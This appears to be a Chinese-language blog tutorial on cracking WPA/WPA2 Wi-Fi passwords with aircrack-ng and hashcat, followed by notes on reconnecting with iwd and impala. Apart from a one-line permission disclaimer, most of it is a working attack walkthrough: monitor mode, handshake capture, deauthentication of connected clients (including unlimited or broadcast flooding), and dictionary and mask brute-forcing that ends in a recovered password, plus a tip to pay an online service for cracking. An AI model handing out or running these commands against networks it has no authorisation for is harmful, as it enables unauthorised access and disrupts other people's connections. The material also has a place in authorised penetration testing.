WiFi密码破解教程

1. 前言

请在获得相关设备和网络所有者的许可下进行Wi-Fi渗透测试!

本次实验使用aircrack-ng工具包进行WiFi渗透测试。aircrack-ng是一个用C语言开发的无线网络安全工具, 主要功能有:网络侦测, 数据包嗅探, WEP和WPA/WPA2-PSK协议的离线破解。

官网:https://aircrack-ng.org/
开源地址:https://github.com/aircrack-ng/aircrack-ng

Windows对aircrack-ng的兼容性很差, 本次实验在Linux环境下进行。我使用的是Ubuntu 22.04 LTS, 没有内置aircrack-ng, 需要手动安装。如果你使用的是kali linux, 内置了aircrack-ng, 可以跳过安装步骤。其他Linux发行版以及MAC OS也可以使用aircrack-ng, 请自行查阅项目的README。

如果你是用的是虚拟机, 请确保你有一个外置的USB无线网卡, 并且虚拟机可以识别。原因是虚拟机无法直接使用电脑内置的无线网卡。没有的话可以去电商平台搜索“Linux 免驱无线网卡”, 有很多选择(价格基本在35左右)。下单前一定要问客服支不支持Linux, 否则买来后可能需要自行下载编译驱动。

2. 安装

1
2
3
4
5
6
7
8
9
10
sudo -i  # 切换到root用户执行, 否则安装完成后aircrack-ng无法使用(会提示缺少库文件)
apt update
apt install git
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng
apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre2-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils expect
./configure --with-experimental
make
sudo make install
aircrack-ng --help

3. 工具包使用

操作无线网卡属于高危行为, 因此以下aircrack-ng的相关命令都需要root权限执行。

3.1. 查看无线网卡名称

1
iwconfig

名称后面带着IEEE 802.11(无线网络标准)的, 就是无线网卡。

iwconfig

3.2. 停止可能会干扰测试的程序

1
2
airmon-ng check  # 查看哪些进程可能会干扰测试
airmon-ng check kill # 停止这些进程

在进入监视模式之前, 要使用此命令来自动停止一些进程。防止被更改信道或者将接口恢复为托管模式而干扰WiFi的监控。

iwconfig

3.3. 开启监听模式

1
airmon-ng start wlp1s0

此命令用于开启无线网卡的监听(monitor)模式并禁用托管模式以及修改网卡名称。这将使得无线网卡能够捕获网络中传送的所有数据包, 而不只是直接发给当前设备的数据包。

mon

3.4. 扫描无线网络

1
airodump-ng wlp1s0mon

alt text

此命令用于扫描无线网卡可以监听范围内的所有2.4GHz频段的无线网络(扫描5GHz频段的网络需要加上-C 5180-5885参数指定频段)。

注意这里的无线网卡名称是wlp1s0mon, 而不是wlp1s0。因为刚刚开启了监听(monitor)模式。

找到目标网络(test)后, 按ctrl + c停止扫描, 然后记录下BSSID(mac地址)和CH(信道)。

出于隐私码去相关MAC地址的OUI

图中各字段含义:

  • BSSID:无线接入点的MAC地址

  • PWR:信号强度(负数越大信号越强)

  • Beacons:接入点广播的信标帧数量

  • #Data:接入点传输的数据包数量

  • #/s:接入点每秒传输的数据包数量

  • CH:无线网络信道

  • MB:接入点传输速度(单位Mbps)

  • ENC:加密方式, aircrack-ng支持抓取WPA, WPA2和WEP加密的数据包

  • CIPHER:加密算法

  • AUTH:认证协议, 只支持PSK

  • ESSID:无线网络名称

  • STATION:连接到接入点的客户端MAC地址

  • Rate:传输速率

  • Lost:丢包数量

  • Frames:抓包总数

  • Notes:抓包状态信息

  • Probes:探测请求

3.5. 监听目标网络, 抓取握手包(被动方式)

1
airodump-ng -c 13 --bssid XX:XX:XX:68:09:F8 -w /root/handshake_packet wlp1s0mon
  • -c 13: 指定信道
  • --bssid XX:XX:XX:68:09:F8: 指定目标网络的BSSID
  • -w /root/handshake_packet: 指定保存抓取到的握手包的文件名

alt text

注意: 开始抓包后, 如果Beacons字段的值始终没有变化, 则需要重新开启监听。

命令执行完成后可以看到已经连接到接入点的客户端的MAC地址。但是没有握手包, 表现为Notes字段下没有显示EAPOL, 握手包中包含的EAPOL(可扩展认证协议)数据, 在WiFi网络中的WPA/WPA2认证过程中起到关键作用, 是密码握手过程中的一部分。可以理解为抓到了哈希值,但也可能是认证失败的握手包。

请坐和放宽, 耐心等待新用户去连接目标网络, 并完成握手过程。

注意:认证失败的握手包也可能被抓取到并显示EAPOL(很少见),建议多次抓取。

3.6. 监听目标网络, 抓取握手包(主动攻击)

如果长时间没有用户连接到目标网络, 那么可以尝试主动攻击, 使目标网络中的客户端断开连接, 然后重新连接, 从而抓取到握手包。

保持监听状态不要停, 记下已连接的客户端的BSSID, 新开一个终端执行:

1
aireplay-ng -0 1 -a XX:XX:XX:68:09:F8 -c YY:YY:YY:20:4C:27 wlp1s0mon
  • -0 1: 0表示发送deauthentication(去认证)数据包, 1表示发包数量(1个就够了, 也可按需要发送多个),如果需要无限发包,使用-0 0
  • -a XX:XX:XX:68:09:F8: 指定接入点的BSSID
  • -c YY:YY:YY:20:4C:27: 指定已连接的客户端的MAC地址, 不加此参数则会广播去认证数据包, 所有连接的客户端都会断开连接

alt text

此时可以看到成功抓取到了握手包。

alt text

注意:如果出现下图的错误, 则说明监听时没有指定信道, 需要重新加上-c参数指定信道进行监听,再进行攻击。
alt text

3.7. 暴力破解握手包

1
aircrack-ng -w /root/passwd-CN-Top10000.txt -b XX:XX:XX:68:09:F8 /root/handshake_packet-0*.cap

-w /root/passwd-CN-Top10000.txt: 指定密码字典文件
-b XX:XX:XX:7D:EB:F8: 指定接入点的BSSID
/root/handshake_packet-0*.cap: 指定抓取到的握手包的文件名, 由于每次抓包都会生成抓包文件, 因此这里使用了通配符*匹配多个握手包

alt text

上图可以看到已经成功破解了握手包, 并获取到了密码123654789

推荐使用hashcat进行破解, 因为hashcat支持GPU加速破解, 速度更快。使用 https://hashcat.net/cap2hashcat/ 将握手包转换为hashcat支持的格式(.hc22000), 然后使用hashcat进行破解:

1
2
hashcat -m 22000 -a 3 handshake.hc22000 ?d?d?d?d?d?d?d?d  # 掩码攻击(假设密码为8位纯数字)
hashcat -m 22000 -a 0 handshake.hc22000 /root/passwd-CN-Top10000.txt # 字典攻击

hashcat的详细使用教程可以看我的另一篇博客:https://blog.lololowe.com/posts/f502

若以上方法都未破解出密码,并且密码对自己很重要,那么可以带上 RMB 和握手包去找万能的某宝…

3.8. 恢复网卡管理模式,连接新的WiFi

关闭监听模式(Monitor),恢复网卡管理模式(Managed):

1
airmon-ng stop wlp1s0mon

3.8.1. iwd

使用iwd工具连接WIFI:

1
2
3
4
5
6
7
8
9
apt update && apt install iwd  # 安装iwd
sudo sed -i 's/^#\s*\(EnableNetworkConfiguration=true\)/\1/' /etc/iwd/main.conf # 启用DHCP功能
systemctl enable iwd --now # 开机自启iwd
systemctl restart iwd # 重启iwd
iwctl # 进入iwd交互模式
device list # 查看网卡设备
station <网卡名称> get-networks # 列出可用网络(可显示中文网络名称)
station <网卡名称> connect <网络名称> # 连接网络并输入密码
station <网卡名称> show # 查看连接状态

alt text

3.8.2. impala

使用iwd的TUI前端工具impala连接WIFI。

impala基于Rust开发, 需要安装Rust环境, 安装方法如下:

1
2
3
4
5
echo 'export RUSTUP_UPDATE_ROOT=https://mirrors.tuna.tsinghua.edu.cn/rustup/rustup' >> ~/.zshrc
echo 'export RUSTUP_DIST_SERVER=https://mirrors.tuna.tsinghua.edu.cn/rustup' >> ~/.zshrc
source ~/.zshrc # 应用Rustup国内源
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh # 使用Rustup安装Rust和cargo(安装过程一路回车)
rustup -V && rustc -V && cargo -V # 检查版本

接着使用Rust包管理器cargo安装impala:

1
2
3
4
5
6
7
8
9
10
# cargo换国内源
cat << EOF | tee -a ~/.cargo/config
[source.crates-io]
replace-with = 'mirror'

[source.mirror]
registry = "sparse+https://mirrors.tuna.tsinghua.edu.cn/crates.io-index/"
EOF
# 安装impala
cargo install impala

impala用法:

输入impala进入impala交互模式,然后可以看到窗口分成了4个板块,分别是:Device, Station, Known Networks, New Networks

alt text

注意:如果impala启动失败,请尝试重启iwd:systemctl restart iwd

每个板块的可用操作如下:

全局

TabShift + Tab: 切换不同板块。

s: 开始扫描网络。

jDown: 向下滚动。

kUp: 向上滚动。

ctrl+r: 切换适配器模式。

?: 显示帮助。

esc: 关闭不同的弹出窗口。

qctrl+c: 退出应用。

Device(设备)

i: 显示设备信息。

o: 切换设备电源。

Station(网卡连接状态)

s: 开始扫描网络。

Known Networks(已知网络)

Space: 连接/断开网络。

a: 启用/禁用自动连接。

d: 从已知网络列表中移除网络。

New Networks(新网络)

Space: 连接新网络。

参考:

https://aircrack-ng.org/doku.php?id=cracking_wpa
https://www.cnblogs.com/micr067/p/12496753.html
https://wiki.archlinuxcn.org/wiki/Iwd
https://rustup.rs/
https://github.com/pythops/impala